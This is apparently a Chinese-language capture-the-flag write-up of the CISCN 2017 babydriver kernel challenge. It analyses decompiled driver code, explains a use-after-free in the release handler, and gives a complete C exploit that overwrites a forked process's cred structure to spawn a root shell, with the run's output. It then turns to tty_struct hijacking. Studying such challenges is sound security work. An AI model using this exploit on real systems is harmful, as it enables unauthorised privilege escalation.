题目分析
init和exit没有什么特殊内容,就是正常的注册和析构。注册了一个名叫babydev
的字符设备。
这道题在bss有一个全局变量,包含了一个buf指针和一个长度字段。下面看看这个驱动在干嘛:
init.sh-qemu参数:
1 2 3 4 5 6 7 8 9 10
| #!/bin/bash qemu-system-x86_64 -initrd rootfs.cpio -kernel bzImage -append 'console=ttyS0 root=/dev/ram oops=panic panic=1' -enable-kvm -monitor /dev/null -m 64M --nographic -smp cores=1,threads=1 -cpu kvm64,+smep
|
open
1 2 3 4 5 6 7 8 9 10
| int __fastcall babyopen(inode *inode, file *filp) { __int64 v2;
_fentry__(inode, filp); babydev_struct.device_buf = (char *)kmem_cache_alloc_trace(kmalloc_caches[6], 0x24000C0LL, 64LL); babydev_struct.device_buf_len = 64LL; printk("device open\n", 0x24000C0LL, v2); return 0; }
|
fentry不用管,是编译的时候gcc在函数入口插入的东西。
open这个驱动会将buf初始化, 调用kmem_cache_alloc_trace
分配一个0x40的object。这个函数也是抽象好几层后的了,我们后面再谈linux内核的内存分配。
1 2 3 4 5 6
| static __always_inline __alloc_size(3) void *kmem_cache_alloc_trace(struct kmem_cache *s, gfp_t flags, size_t size) { void *ret = kmem_cache_alloc(s, flags); ret = kasan_kmalloc(s, ret, size, flags); return ret; }
|
read和write
没什么差别,直接复制数据:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| ssize_t __fastcall babyread(file *filp, char *buffer, size_t length, loff_t *offset) { size_t v4; ssize_t result; ssize_t v6;
_fentry__(filp, buffer, length); if ( !babydev_struct.device_buf ) return -1LL; result = -2LL; if ( babydev_struct.device_buf_len > v4 ) { v6 = v4; copy_to_user(buffer); return v6; } return result; }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| ssize_t __fastcall babywrite(file *filp, const char *buffer, size_t length, loff_t *offset) { size_t v4; ssize_t result; ssize_t v6;
_fentry__(filp, buffer, length); if ( !babydev_struct.device_buf ) return -1LL; result = -2LL; if ( babydev_struct.device_buf_len > v4 ) { v6 = v4; copy_from_user(); return v6; } return result; }
|
ioctl
ioctl提供了一个调用kmalloc重新分配buf的接口,这里的v4是我们用户态可以控制的参数,也就是说可以重新分配size
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| __int64 __fastcall babyioctl(file *filp, unsigned int command, unsigned __int64 arg) { size_t v3; size_t v4; __int64 v5;
_fentry__(filp, command, arg); v4 = v3; if ( command == 0x10001 ) { kfree(babydev_struct.device_buf); babydev_struct.device_buf = (char *)_kmalloc(v4, 0x24000C0LL); babydev_struct.device_buf_len = v4; printk("alloc done\n", 0x24000C0LL, v5); return 0LL; } else { printk(&unk_2EB, v3, v3); return -22LL; } }
|
release
对于正常的驱动,release函数会在文件关闭的时候触发。但是这个函数没有在data段开头的file_operations里注册,反而在__mount_loc
节中查到了引用,不知道怎么触发的。
1 2 3 4 5 6 7 8 9
| int __fastcall babyrelease(inode *inode, file *filp) { __int64 v2;
_fentry__(inode, filp); kfree(babydev_struct.device_buf); printk("device release\n", filp, v2); return 0; }
|
release有一个UAF,kfree但全局变量指针不置空。
总体来看涉及kmalloc和kfree, 可能与内核的堆利用有关。所以下面先介绍一下内核的内存管理机制。
篇幅考虑,相关内容单开了一篇blog,点此跳转
UAF
参考自 在2021年再看ciscn2017 babydriver
1. 简单粗暴——4.4.72版本uaf必定导致提权
如果了解了slab我们就能知道,在kfree后这个object会被放回其原本的list中(比如kmem_cpu_cache的slab列表),并且freelist的第一个也会指向它。也就是说我们能够保证,只要free进去后没有别的操作连续申请相同大小的对象,下一次一定会返回这一个。
知道了这个我们就有很多的利用方法了。一种比较简单的方法就是把它改成cred的大小然后用户态fork起shell,通过UAF直接改掉euid。这个漏洞在kernel 4.4.72是可用的,显然是因为内核并没有相关的检查——至少这道题的内核没有
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| / $ whoami ctf / $ ./ez_uaf [*] Start to exploit... [ 11.928864] device open [ 11.929808] device open [ 11.931073] alloc done [ 11.932012] device release [+] Successful to get the root. Execve root shell now... / bin dev ez_uaf.c lib root sys boot.sh etc home linuxrc rootfs.cpio tmp bzImage ez_uaf init proc sbin usr / root
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/types.h> #include <sys/ioctl.h> #include <sys/wait.h>
int main(void) { printf("\033[34m\033[1m[*] Start to exploit...\033[0m\n"); int fd1 = open("/dev/babydev", 2); int fd2 = open("/dev/babydev", 2); ioctl(fd1, 0x10001, 0xa8); close(fd1); int pid = fork(); if(pid < 0) { printf("\033[31m\033[1m[x] Unable to fork the new thread, exploit failed.\033[0m\n"); return -1; } else if(pid == 0) { char buf[30] = {0}; write(fd2, buf, 28); if(getuid() == 0) { printf("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m\n"); system("/bin/sh"); return 0; } else { printf("\033[31m\033[1m[x] Unable to get the root, exploit failed.\033[0m\n"); return -1; } } else { wait(NULL); }
return 0; }
|
2. 更复杂的利用——4.5+版本
在这个版本,为cred分配的slab 对象池cred_jar
在初始化的时候添加了一个flag位SLAB_ACCOUNT
,这导致这样的问题,内核驱动中手动调用的kmalloc虽然大小一样,但是和cred_jar不再共享一个对象池。
这个时候要引出通用的一个解决方案:劫持tty_struct.